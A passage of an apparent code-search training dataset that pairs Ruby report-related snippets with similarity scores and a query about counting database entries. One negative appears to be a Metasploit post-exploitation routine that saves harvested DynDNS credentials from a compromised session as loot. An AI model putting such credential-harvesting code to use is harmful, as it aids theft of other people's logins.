grade_ = Integer(student.grade.value.split(\" \")[0].split(\"th\")[0].split(\"rd\")[0].split(\"nd\")[0])\r\n \r\n eoy = end_of_year_placement.value\r\n if eoy == \"Promoted\"\r\n replace[\"[end_of_year_placement]\"] = \"#{student.first_name.value} will be promoted to grade #{grade_ + 1} for the 2012-2013 school year.\"\r\n elsif eoy == \"Retained\"\r\n replace[\"[end_of_year_placement]\"] = \"#{student.first_name.value} will be retained in grade #{grade_} for the 2012-2013 school year.\"\r\n elsif eoy == \"Placed\"\r\n replace[\"[end_of_year_placement]\"] = \"#{student.first_name.value} will be placed in #{grade_ + 1} grade for the 2012-2013 school year.\"\r\n elsif eoy == \"Promoted Pending Summer School\"\r\n replace[\"[end_of_year_placement]\"] = \"If student attends Summer School at Agora and masters grade level standanrds, he/she will be promoted to the #{grade_ + 1} grade for the 2012-2013 school year.\"\r\n end\r\n \r\n term = placeholder_term\r\n puts \"CREATING DOCUMENT\"\r\n failed = 0\r\n document_created = false\r\n until document_created || failed == 3\r\n begin\r\n puts \"CONNECTING TO WORD\"\r\n word = $base.word\r\n puts \"OPENING WORD TEMPLATE\"\r\n doc = word.Documents.Open(\"#{$paths.templates_path}student_progress_report_k6__with_masteries.docx\")\r\n puts \"BEGINNING FIND AND REPLACE\"\r\n replace.each_pair{|f,r|\r\n #footer\r\n word.ActiveWindow.View.Type = 3\r\n word.ActiveWindow.ActivePane.View.SeekView = 10\r\n word.Selection.HomeKey(unit=6)\r\n find = word.Selection.Find\r\n find.Text = f\r\n while word.Selection.Find.Execute\r\n if r.nil? || r == \"\"\r\n rvalue = \" \"\r\n elsif r.class == Field\r\n rvalue = r.to_user.nil? || r.to_user.to_s.empty? ? \" \" : r.to_user.to_s\r\n else\r\n rvalue = r.to_s\r\n end\r\n word.Selection.TypeText(text=rvalue.gsub(\"’\",\"'\"))\r\n end\r\n \r\n #main body\r\n word.ActiveWindow.ActivePane.View.SeekView = 0\r\n word.Selection.HomeKey(unit=6)\r\n find = word.Selection.Find\r\n find.Text = f\r\n while word.Selection.Find.Execute\r\n if r.nil? || r == \"\"\r\n rvalue = \" \"\r\n elsif r.class == Field\r\n rvalue = r.to_user.nil? || r.to_user.to_s.empty? ? \" \" : r.to_user.to_s\r\n else\r\n rvalue = r.to_s\r\n end\r\n word.Selection.TypeText(text=rvalue.gsub(\"’\",\"'\"))\r\n end\r\n }\r\n puts \"SAVING WORD DOC\"\r\n doc.SaveAs(word_doc_path.gsub(\"/\",\"\\\\\"))\r\n puts \"CONVERTING TO PDF\"\r\n doc.SaveAs(pdf_doc_path.gsub(\"/\",\"\\\\\"),17)\r\n doc.close\r\n document_created = true\r\n word.quit\r\n puts \"REMOVING WORD DOC\"\r\n FileUtils.rm(word_doc_path) if File.exists?(word_doc_path)\r\n puts \"WORD DOC REMOVED\"\r\n \r\n record = progress_record\r\n record.fields[\"reported_datetime\"].value = $idatetime\r\n record.save\r\n rescue => e\r\n puts e\r\n failed+=1\r\n puts \"Failed Attempt #{failed}.\"\r\n $base.system_notification(\r\n subject = \"K6 Progress Report Failed - SID: #{student_id}\",\r\n content = \"#{__FILE__} #{__LINE__}\",\r\n caller[0],\r\n e\r\n ) if failed == 3\r\n end\r\n end\r\n \r\n \r\n #MARK AS REPORTED - FNORD\r\n \r\n puts \"RETURNING PDF PATH\"\r\n return pdf_doc_path\r\n end\r\n end",
"def deal_report(reports, gened_crow_1_added)\n\tgen_values = []\n\treports.each do |rid|\n\t\t# puts gened_crow_1_added[rid]\n\t\ttem_value = gened_crow_1_added[rid]['sip_info'][0]['value']\n\t\ttem_class = gened_crow_1_added[rid]['sip_info'][0]['value_class']\n\t\ttem_values = gen_values_by_report_2(tem_value, tem_class)\n\t\ttem_values.each do |inp_v|\n\t\t\tgen_values << inp_v\n\t\tend\n\tend\n\tgen_values\nend",
"def index\n @report_displays = ReportDisplay.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n @reports = Report.all\n end",
"def index\n # Initalize table\n @profils_grid = initialize_grid(Profil)\n end",
"def collect_data\n puts 'Collecting data...'\n\n @files.each do |file|\n parse_table(file) if File.extname(file) == '.xlsx' || File.extname(file) == '.xls'\n end\n puts 'Collecting data...Done'\n end",
"def fs_daily_report\n @framing_saws = FramingSaw.all\n end",
"def compute_and_present(reports)\n alltime_proceeds_per_currency = {} #currency is the key, value is the proceeds\n alltime_renewables = 0\n alltime_apps = {}\n alltime_payed_units = 0\n alltime_inapp_units = 0\n alltime_free_units = 0\n alltime_updated_units = 0\n \n first_date = reports[0].split('_').last.split('.').first\n reports.each do |alltime_filename|\n\n puts \"Processing #{alltime_filename}\".green if @beVerbose\n\n #get the date from the filename\n date = alltime_filename.split('_').last.split('.').first #filename example: S_D_80076793_20120706.txt\n\n report_data = File.open(alltime_filename, \"rb\").read \n\n report = parse(report_data)\n #puts report.class\n if report #report parsed\n apps = {}\n total_payed_units = 0\n total_inapp_units = 0\n total_free_units = 0\n total_updated_units = 0\n report.each do |item| #report is a hash \n if item\n sku = item[:sku] #group data by app sku\n if apps.has_key? sku #app is already cached\n app = apps[sku]\n else #initially insert app\n app = {:sku=>sku, :title=>item[:title], :sold_units=>0, :updated_units=>0}\n apps[sku] = app\n end\n #ensure currency sum\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] = 0.0 unless alltime_proceeds_per_currency[item[:currency_of_proceeds]]\n \n #count units\n if SALE_IDENTS.include? item[:product_type_id] #count sales\n app[:sold_units] += item[:units]\n if item[:customer_price]==0 #a free app\n total_free_units += item[:units]\n else \n total_payed_units += item[:units]\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] += item[:developer_proceeds] * item[:units]\n end\n elsif INAPP_SALE_IDENTS.include? item[:product_type_id]\n app[:sold_units] += item[:units]\n total_inapp_units += item[:units]\n alltime_proceeds_per_currency[item[:currency_of_proceeds]] += item[:developer_proceeds] * item[:units]\n if item[:product_type_id] == \"IAY\" #InAppPurchase\n alltime_renewables += item[:units]\n end\n elsif UPDATE_IDENTS.include? item[:product_type_id] #count updates\n app[:updated_units] += item[:units]\n total_updated_units += item[:units]\n end \n else # only if item \n puts \"null report\".red\n end\n end\n\n #add to the alltime stats\n alltime_payed_units += total_payed_units\n alltime_inapp_units += total_inapp_units\n alltime_free_units += total_free_units\n alltime_updated_units += total_updated_units\n \n apps.each do |alltime_sku, apps_app| \n #select the app\n if alltime_apps.has_key? alltime_sku\n #already cached\n alltime_app = alltime_apps[alltime_sku]\n else\n #insert for the first time\n alltime_app = {:sku=>alltime_sku, :title=>apps_app[:title], :sold_units=>0, :updated_units=>0} \n alltime_apps[alltime_sku] = alltime_app\n end\n #add stats\n alltime_app[:sold_units] += apps_app[:sold_units]\n alltime_app[:updated_units] += apps_app[:updated_units]\n end\n\n if @beVerbose && reports.size>1\n #report for date\n puts \"\\n\\n______________________________________________________________\".blue\n puts \"Report for #{date}\"\n puts \"\\n\" + \"Product\".ljust(40).blue + \": \" +\"Downloads\".green + \" / \" + \"Updates\".green\n puts \"______________________________________________________________\".yellow\n apps.each do |app_sku,apps_app|\n puts \"#{apps_app[:title].ljust(40).blue}: #{apps_app[:sold_units].to_s.ljust(10).green} / #{apps_app[:updated_units].to_s.rjust(7).dark_green}\"\n end \n puts \"______________________________________________________________\".yellow\n puts \"#{'InApp Purchases'.ljust(40).green}: #{total_inapp_units}\"\n puts \"#{'Payed Downloads'.ljust(40).green}: #{total_payed_units}\"\n puts \"#{'Free Downloads'.ljust(40).dark_green}: #{total_free_units}\"\n puts \"#{'Updates'.ljust(40).dark_green}: #{total_updated_units}\"\n puts \"______________________________________________________________\".blue\n puts \"\\n\\n\"\n end #if @beVerbose\n\n else \n puts \"null report parsed\".red\n end #if report parsed\n \n end #reports.each\n\n #report alltime\n puts \"\\n\\n______________________________________________________________\".blue\n from = Date.strptime first_date, '%Y%m%d'\n age = Date.today - from \n formatted_from = from.strftime(\"%b %d %Y\")\n puts \"Report\" + (ARGV[0]? \" #{ARGV[0]}\":\" daily\") + \", from #{formatted_from}, #{age.to_i} days\"\n puts \"\\n\" + \"Product\".ljust(40).blue + \": \" +\"Downloads\".green + \" / \" + \"Updates\".green\n puts \"______________________________________________________________\".yellow\n alltime_apps.each do |app_sku, aapp|\n puts \"#{aapp[:title].ljust(40).blue}: #{aapp[:sold_units].to_s.ljust(10).green} / #{aapp[:updated_units].to_s.rjust(7).dark_green}\"\n end \n puts \"______________________________________________________________\".yellow\n puts \"#{'InApp Purchases'.ljust(40).green}: #{alltime_inapp_units}\" + ( alltime_renewables > 0.0 ? \" / #{alltime_renewables} Auto-Renewed\" : \"\")\n puts \"#{'Payed Downloads'.ljust(40).green}: #{alltime_payed_units}\"\n puts \"#{'Free Downloads'.ljust(40).dark_green}: #{alltime_free_units}\"\n puts \"#{'Updates'.ljust(40).dark_green}: #{alltime_updated_units}\"\n puts \"\\n#{'Proceeds'.red}:\\n\\n\"\n total_proceeds = 0.0\n alltime_proceeds_per_currency.each do |proceed_key, proceed| \n formatted_sum = proceed > 0.0 ? \"#{proceed}\".green : \"#{proceed}\".red\n if proceed > 0.0\n if proceed_key == @convertTo\n total_proceeds += proceed\n puts \"#{proceed_key} : #{formatted_sum}\"\n else\n #convert using google\n data = open(\"http://www.google.com/ig/calculator?q=#{proceed}#{proceed_key}=?#{@convertTo}\").read\n #fix broken json\n data.gsub!(/lhs:/, '\"lhs\":')\n data.gsub!(/rhs:/, '\"rhs\":')\n data.gsub!(/error:/, '\"error\":')\n data.gsub!(/icc:/, '\"icc\":')\n data.gsub!(Regexp.new(\"(\\\\\\\\x..|\\\\\\\\240)\"), '') \n #puts data\n converted = JSON.parse data\n converted_proceed = converted[\"rhs\"].split(' ').first.to_f\n total_proceeds += converted_proceed\n puts \"#{proceed_key} : #{formatted_sum} / #{converted['rhs']}\"\n end\n end\n end\n puts \"\\n#{'Total'.green}: #{total_proceeds} #{@convertTo}\"\n puts \"______________________________________________________________\".blue\n puts \"\\n\\n\" \nend",
"def index\r\n @appointment_reports = AppointmentReport.all\r\n end",
"def populate_from_report4(report)\n\t\tself.account_number = report[:account_number_found]\n\t\tself.institution_name = report[:institution_name]\n\t\tself.average_balance = report[:average_balance]\n\t\tself.average_recent_balance = report[:average_recent_balance]\n\t\tself.total_credit_transactions = report[:total_credits]\n\t\tself.total_debit_transactions = report[:total_debits]\n\t\tself.available_balance = report[:available_balance]\n\t\tself.is_transactions_available = report[:is_activity_available]\n\t\tself.as_of_date = DateTime.now\n\t\tself.transactions_from_date = report[:activity_start_date]\n\t\tself.transactions_to_date = report[:activity_end_date]\n\t\tself.current_balance = report[:current_balance]\n\n\tend",
"def index\n @daily_reports = DailyReport.all\n end",
"def format!\n tables.map { |t|\n SimpleReports::TableFormatter.new(t).format_table!\n }\n end",
"def run_report\n comparison_values.tap do |results|\n display_report(results)\n end\n end",
"def index\n @post_reports = PostReport.all\n end",
"def reports\n user_reports.concat(mod_reports)\n end",
"def index\n @accounting_reports = AccountingReport.all\n end",
"def index\n @et_reports = EtReport.all\n end",
"def do_report(data)\n\n\t\ttbl = Rex::Ui::Text::Table.new(\n\t\t\t'Header' => 'DynDNS Client Data',\n\t\t\t'Indent' => 1,\n\t\t\t'Columns' => ['Field', 'Value']\n\t\t)\n\n\t\tcreds = Rex::Ui::Text::Table.new(\n\t\t\t'Header' => 'DynDNS Credentials',\n\t\t\t'Indent' => 1,\n\t\t\t'Columns' => ['User', 'Password']\n\t\t)\n\n\t\t# Store username/password\n\t\tcred << [data[:user], data[:pass]]\n\n\t\tif not creds.rows.empty?\n\t\t\tp = store_loot(\n\t\t\t\t'dyndns.creds',\n\t\t\t\t'text/csv',\n\t\t\t\tsession,\n\t\t\t\tcreds.to_csv,\n\t\t\t\t'dyndns_creds.csv',\n\t\t\t\t'DynDNS Credentials'\n\t\t\t)\n\t\t\tprint_status(\"Parsed creds stored in: #{p.to_s}\")\n\t\tend\n\n\t\t# Store all found hosts\n\t\thosts = data[:hosts]\n\t\thosts.each do |host|\n\t\t\ttbl << ['Host', host]\n\t\tend\n\n\t\tprint_status(tbl.to_s)\n\n\t\tif not tbl.rows.empty?\n\t\t\tp = store_loot(\n\t\t\t\t'dyndns.data',\n\t\t\t\t'text/plain',\n\t\t\t\tsession,\n\t\t\t\ttbl.to_csv,\n\t\t\t\t'dyndns_data.csv',\n\t\t\t\t'DynDNS Client Data'\n\t\t\t)\n\t\t\tprint_status(\"Parsed data stored in: #{p.to_s}\")\n\t\tend\n\tend",
"def index\n @report = Report.new\n end",
"def reports\n \n @paramsforheader = params[:region_report]\n if params[:region_report][:sort] == \"cvalue\"\n @regional = Report.regional_report_by_value(params[:region_report])\n @bench = Report.bench_mark_report_by_value(params[:region_report])\n @report_hash = Report.calculate_merge_active_records(@regional, @bench, params[:region_report][:product])\n else\n @regional = Report.regional_report_by_volume(params[:region_report])\n @bench = Report.bench_mark_report_by_volume(params[:region_report])\n @report_hash = Report.calculate_merge_active_records(@regional, @bench, params[:region_report][:product])\n end\n \n end",
"def admin_report\n @current_teacher = current_teacher\n @school = School.find(@current_teacher.school_id)\n @students = Student.where(school_id: current_teacher.school_id).order('full_name ASC')\n @teachers = Teacher.where(school_id: current_teacher.school_id).order('full_name ASC')\n @squares = Square.where(school_id: current_teacher.school_id).order('full_name ASC')\n end",
"def index\n @admin_reports = Admin::Report.all\n end",
"def presence_report\n @total_reports = PresenceReport.summary_report(@date_start, @date_end, current_company_id)\n @reports = @total_reports\n\n @iTotalRecords = @total_reports.count\n @iTotalDisplayRecords = @reports.count\n respond_to do |format|\n format.html { render :layout => false}\n end\n end"
] |
[
"0.663138",
"0.66060215",
"0.6538197",
"0.6534105",
"0.6523132",
"0.6396172",
"0.63669175",
"0.63016564",
"0.6268179",
"0.6268179",
"0.62502116",
"0.62502116",
"0.62502116",
"0.62502116",
"0.62502116",
"0.6192223",
"0.61901",
"0.6127287",
"0.611253",
"0.60984886",
"0.60544926",
"0.6045936",
"0.6007818",
"0.5964089",
"0.5954497",
"0.59474254",
"0.59430283",
"0.5927942",
"0.588623",
"0.5881629",
"0.58573604",
"0.5851874",
"0.58090526",
"0.5804022",
"0.57635695",
"0.5759118",
"0.5753241",
"0.5747626",
"0.57258457",
"0.56959003",
"0.56942004",
"0.56926066",
"0.5690886",
"0.5664098",
"0.56537807",
"0.56409687",
"0.56275594",
"0.562691",
"0.5615333",
"0.5596495",
"0.5593196",
"0.5592659",
"0.5572676",
"0.557165",
"0.5567853",
"0.5565696",
"0.5565468",
"0.556136",
"0.5559563",
"0.5554898",
"0.55533063",
"0.55216014",
"0.5516749",
"0.550877",
"0.550864",
"0.55075425",
"0.5499991",
"0.5491552",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.5489249",
"0.54852873",
"0.5483863",
"0.5482592",
"0.54774904",
"0.5468966",
"0.54651535",
"0.54583395",
"0.5455181",
"0.54520273",
"0.54507214",
"0.544962",
"0.5448437",
"0.54463613",
"0.54377073",
"0.5431201",
"0.5426574",
"0.5426149",
"0.54251486",
"0.54233754"
] |
0.5453618
|
89
|
Write methods to count entries in the database
|
def count_all_entries(database)
sql = <<-SQL
SELECT hero_seen, COUNT(*) c FROM reports GROUP BY hero_seen HAVING c > 1
SQL
p database.execute(sql)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def count\n query.count\n end",
"def count\n query.count\n end",
"def count\n end",
"def count\n end",
"def count ; @count ||= table.count end",
"def count\n @rows.count\n end",
"def count; end",
"def count; end",
"def count; end",
"def count\n ensure_aggregate!\n SQLite::API.aggregate_count( @func )\n end",
"def count\n # implement in subclasses\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n Dynamoid.adapter.count(table_name)\n end",
"def count\n Dynamoid.adapter.count(table_name)\n end",
"def count\n all.count\n end",
"def count\n @count\n end",
"def count\n @count ||= @query.count\n end",
"def count\n self.all.count\n end",
"def count\n sql = order_by(nil).to_sql(pagination: false)\n\n @connection.ask(\"SELECT COUNT(*) FROM (#{sql}) _total_count\", *args)\n end",
"def count\n Driver.client[coll_name].find.count\n end",
"def count\n collection.count\n end",
"def count\n @all.size\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def counts\r\n @counts\r\n end",
"def count\n self.class.count(self)\n end",
"def count\n filtered = apply_criteria(@data)\n filtered.count\n end",
"def count(query)\n raise \"The class #{self.class.name} must implement the 'count' method.\"\n end",
"def count_records(records)\n records.count(:all)\n end",
"def getrowcount\n @rowcount = @db.execute(\"select count(*) from #{@tablename}\").to_s\nend",
"def count(constraints = {})\n query(constraints).count\n end",
"def record_count\n\t\t# TODO\n\tend",
"def item_count()\n sql = \"SELECT COUNT(id) AS num FROM items WHERE c_class_id = $1\"\n values=[id]\n return SqlRunner.run(sql,values).first['num'].to_i\n end",
"def count\n raise NotImplementedError\n end",
"def count_records **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n \tquery.projection << 'COUNT (*)'\n \tresult = get_records raw: true, query: query\n begin\n result.first['COUNT']\n rescue\n return 0\n end\n end",
"def t_counts (conn, log, t)\n log.d(\"Checking counts.\");\n q = \"SELECT COUNT(*) AS c FROM #{t}\";\n log.d(q);\n conn.query(q) do |r|\n log.d(r[:c]);\n end\nend",
"def count **args\n\t\tquery( **( { projection: 'COUNT(*)' }.merge args )).execute(reduce: true){|x| x[:\"COUNT(*)\"]}\n end",
"def count\n @count ||=\n begin\n # self.sql sets self.model_class.\n this_sql = sql(:count => true)\n model_class.connection.\n query(this_sql).\n first.first\n end\n end",
"def count\n dps.count\nend",
"def total_entries\n collection.total_count\n end",
"def count\n transactions.count\n end",
"def count(query)\n read(query).length\n end",
"def count **args\n logger.progname = 'RestOperations#CountRecords'\n query = OrientSupport::OrientQuery.new args\n query.projection << 'COUNT (*)'\n result = get_records raw: true, query: query\n result.first['COUNT'] rescue 0 # return_value\n end",
"def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end",
"def count\n if @count\n @count - @deleted_entries.cardinality\n else\n determine_count\n end\n end",
"def count\n dataset.count\n end",
"def total_count\n @total_count ||= self.query.count\n end",
"def count(selector={})\n @db.count(@name, selector || {})\n end",
"def total_count\n @all.size\n end",
"def count\n lib.tcidbrnum( @db )\n end",
"def count\n each.count\n end",
"def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end",
"def get_count (db, query)\n\tcount = db.execute query\n\treturn count[0][0]\nend",
"def count\n load\n @result_count\n end",
"def count\n folder.data_objects.all(parameters).count\n end",
"def count\n @collector.count\n end",
"def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end",
"def count\n\t\t\t\tlist.count\n\t\t\tend",
"def odb_count\n \"count(#{to_s})\"\n end",
"def count\n @collection.count(Scope.new(@collection, @selector, @opts))\n end",
"def total_count\n total_entries\n end",
"def count_records(params)\n scope_data_class(params) do\n params[:scope] = config[:scope]\n data_adapter.count_records(params, final_columns)\n end\n end",
"def count_for(resource)\n\t\tself.find(resource).count\n\tend",
"def count\n all.size\n end",
"def count\n @data.size\n end",
"def size\n\n fetch_all(:count => true)\n end",
"def total_records\n record.records.count\n end",
"def count(products) #este nome pode ser o que nós quisermos porque só está dentro do método\n products.count\nend",
"def getUntappdCount\n db.execute(\"SELECT count(*) FROM #{@untappdTable}\")[0][0]\n end",
"def count!\n count(nil)\n end",
"def count(options)\n raise \"Not implemented\"\n end",
"def count\n @documents.count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n @ole.Count\n end",
"def count\n call_client(:count)\n end",
"def retrieved_records\n results.count\n end",
"def count(query={})\n collection.count({ query: query })\n end",
"def count_records(params, columns)\n 0\n end",
"def count_records(params, columns)\n 0\n end",
"def records_count\n @klass.all.size\n end",
"def count\r\n items.size\r\n end",
"def count\n dataset.client.count(\n index: dataset.index,\n body: dataset.body\n )[\"count\"]\n end",
"def user_count; end",
"def records_total_count\n Rails.cache.fetch('raw_count') { get_raw_records.count(:all) }\n end",
"def count\n 1\n end",
"def counter\n self.class.db_structure[@table_name][:counter]\n end",
"def count_table(table_name)\r\n client = self.connect\r\n period_count = -1\r\n \r\n # figure out number of periods in the db.\r\n # assume the index is 1-n\r\n db_str = \"SELECT COUNT(*) FROM \" + table_name\r\n client.query(db_str).each do |row|\r\n period_count = row[\"COUNT(*)\"]\r\n end\r\n \r\n # close connection\r\n client.close\r\n \r\n return period_count\r\n end",
"def count\n each.size\n end",
"def count(attr = nil)\n if attr.nil?\n super()\n else\n column(attr).count\n end\n end",
"def count\n @count ||= 0\n @count += 1\n end",
"def customer_count()\n customers().count()\nend"
] |
[
"0.7699294",
"0.7699294",
"0.7676923",
"0.7676923",
"0.76268554",
"0.76157457",
"0.757475",
"0.757475",
"0.757475",
"0.7565778",
"0.7450868",
"0.74292016",
"0.74292016",
"0.74292016",
"0.7420494",
"0.7420494",
"0.7402095",
"0.7395923",
"0.7389295",
"0.7376843",
"0.726408",
"0.72621953",
"0.7220774",
"0.72060955",
"0.7203619",
"0.7203619",
"0.7203619",
"0.71977407",
"0.71893543",
"0.71351814",
"0.7125709",
"0.7113994",
"0.71031797",
"0.7102879",
"0.70823926",
"0.7069609",
"0.7067246",
"0.7063287",
"0.7045417",
"0.7045409",
"0.7029794",
"0.70295334",
"0.7028696",
"0.7026674",
"0.7018711",
"0.69700974",
"0.6967801",
"0.69602567",
"0.69597167",
"0.6957292",
"0.6947427",
"0.69428027",
"0.6941843",
"0.69406956",
"0.69335747",
"0.6928152",
"0.6926464",
"0.6925911",
"0.69218093",
"0.689428",
"0.689316",
"0.6883342",
"0.6876502",
"0.6874863",
"0.68615884",
"0.6830317",
"0.68080944",
"0.68071204",
"0.67842937",
"0.6780107",
"0.67646086",
"0.6763716",
"0.6741295",
"0.67327434",
"0.6722757",
"0.67135584",
"0.67135584",
"0.67135584",
"0.67135584",
"0.67135584",
"0.67135584",
"0.67135584",
"0.67135584",
"0.6688623",
"0.6677111",
"0.66631997",
"0.66536474",
"0.66536474",
"0.6651368",
"0.6651083",
"0.6650319",
"0.664231",
"0.66336155",
"0.6631746",
"0.66302717",
"0.6629953",
"0.6625169",
"0.66232455",
"0.6623009",
"0.6622815"
] |
0.66495174
|
91
|
Write a method to assign investigators to reports
|
def assign_investigator(database)
sql = <<-SQL
UPDATE reports
SET investigator_id = (SELECT id
FROM investigators
WHERE jurisdiciton = reports.reporter_state)
SQL
database.execute(sql)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_report\n end",
"def reporters=(_arg0); end",
"def reporters=(_arg0); end",
"def reporters=(_arg0); end",
"def populate_reports\n\t\tauthor_id \t\t= [*1..40].sample\n\t\tsummary \t\t= Faker::Lorem.sentences(3).join(' ')\n\t\treason \t\t\t= [*0..4].sample # enum\n\t\t\n\t\t# Report on other users\n\t\tusers = User.limit(5)\n\t\tusers.each do |u|\n\t\t\tu.reports_received.create!(author_id: author_id, reason: reason, summary: summary)\n\t\tend\n\n\t\t# Report on other services\n\t\tservices = Service.limit(5)\n\t\tservices.each do|s|\n\t\t\ts.reports_received.create!(author_id: author_id, reason: reason, summary: summary)\n\t\tend\n\tend",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def reporters; end",
"def set_thenewsreporter\n @thenewsreporter = Thenewsreporter.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n @reportable = @report.reportable\n end",
"def set_accessors\n\t\tt1 = Time.now.to_i\n\t\tself.gather_history\n\t\tself.load_local_item_group\n\t\tself.reports.each do |report|\n\t\t\t## set nil to give it a chance to reset\n\t\t\t## but what about \n\t\t\t## report.worth_processing = nil\n\t\t\treport.order_organization = self.organization\n\t\t\treport.consider_for_processing?(self.history_tags)\n\t\t\treport.set_accessors\n\t\tend\n\t\tself.set_can_be_finalized\n\t\tt2 = Time.now.to_i\n\t\tputs \"set accessors in order takes: #{t2*1000.to_f - t1*1000.to_f}\"\n\tend",
"def investor\n end",
"def set_report\n @report = current_user.reports.find(params[:id])\n end",
"def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end",
"def add_report_values\n\t\tunless self.patient.blank?\n\t\t\tself.reports.map{|report|\n\t\t\t\tif report.consider_for_processing?(self.history_tags)\n\t\t\t\t\treport.tests.map{|test|\n\t\t\t\t\t\ttest.add_result(self.patient,self.history_tags) \n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\tend",
"def reporter\n @client.person(reporter_id)\n end",
"def assign_random_investigator_names\n @investigators = []\n @sites.each do |country|\n tmparr = []\n country.each do |site|\n tmparr << [\"Dr. \" + Faker::Name.name, 0]\n end\n investigators << tmparr\n end\n @investigators\n end",
"def handle_reporters(reporters)\n return reporters if reporters.is_a? Array\n [reporters]\n end",
"def reports\n user_reports.concat(mod_reports)\n end",
"def report_account\n @report_account || self\n end",
"def report=(value)\n @report = value\n end",
"def create\n @review=Review.find(params[:reported_id])\n @report = Report.new(report_params)\n @user=User.find(params[:reporter_id])\n \n \n if @report.save\n @review.passive_reports<<@report\n @user.active_reports<<@report\n flash[:success] = \"report created!\"\n redirect_to \"/items/\"+@review.item.id.to_s\n else\n redirect_to :root\n end\n \n end",
"def set_report\n @admin_report = Admin::Report.find(params[:id])\n end",
"def set_report_orders_by_user\n @report_orders_by_user = ReportOrdersByUser.find(params[:id])\n end",
"def index\n @thenewsreporters = Thenewsreporter.all\n end",
"def set_report\n #@report = Report.find(params[:id])\n end",
"def set_customer_report\n @customer_report = CustomerReport.find(params[:id])\n end",
"def create_new_report!; end",
"def create_new_report!; end",
"def cop_reports=(_); end",
"def set_people_reports\n @people_reports = Report.select{ |c| c.category== \"HR\"}\n end",
"def assign_trainer(trainer)\n self.trainer = trainer\n end",
"def assign_trainer(trainer)\n self.trainer = trainer\n end",
"def set_investigator\n @investigator = Investigator.find( params[:id] || params[:investigator_id] )\n end",
"def set_assigner\n @assigner = Assigner.find(params[:id])\n end",
"def set_assigner\n @assigner = Assigner.find(params[:id])\n end",
"def reporter= user\n if user.instance_of? User\n self[:reporter_id] = user.id\n else\n errors.add(:reporter, \"need to be instance of User\")\n end\n end",
"def assign_to_invest_set\n return unless current_invest_set\n\n current_invest_set.update(source_account_id: id)\n end",
"def get_reports\n if is_administrator?\n return Reports.all\n else\n reports = Reports.all\n reports_array = []\n reports.each do |report|\n next unless report and get_username\n authors = report.authors\n reports_array.push(report) if report.owner == get_username \n if authors\n reports_array.push(report) if authors.include?(get_username)\n end\n end\n return nil unless reports_array\n return reports_array \n end\nend",
"def update_report_stats\n reports = self.set_pupil.reports\n reports.each do |report|\n report.update_report(self) if report.report_cycle == self.task.report_cycle\n end\n end",
"def set_report\n\t\t@report = Report.find(params[:id])\n\tend",
"def set_report\n @report = Report.friendly.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def set_report\n @report = Report.find(params[:id])\n end",
"def report_learner\n # I'm using the ! here so we can track down errors faster if there is an issue making\n # the report_learner\n super || create_report_learner!\n end",
"def create_testers\n\t\t@testers_data.shift\n\t\t@testers_data.each do |row|\n\t\t\ttester_id = row[0]\n\t\t\tfirst_name = row[1]\n\t\t\tlast_name = row[2] \n\t\t\tcountry = row[3]\n\t\t\tlast_login = row[4]\n\t\t\ttester = Tester.new(tester_id, first_name, last_name, country, last_login)\n\t\t\t@testers.push(tester)\n\t\tend\n\tend",
"def set_report_subscriber\n @report_subscriber = ReportSubscriber.find(params[:id])\n end",
"def set_client_report\n @client_report = Client::Report.find(params[:id])\n end",
"def emp_report\n \n end",
"def set_investigador\n @investigador = Investigador.find(params[:id])\n end",
"def reports\n get(:reports)['Reports'].map do |details|\n Report.new(details['Url'], party: self, details: details)\n end\n end",
"def set_reporter_group\n @reporter_group = ReporterGroup.find(params[:id])\n end",
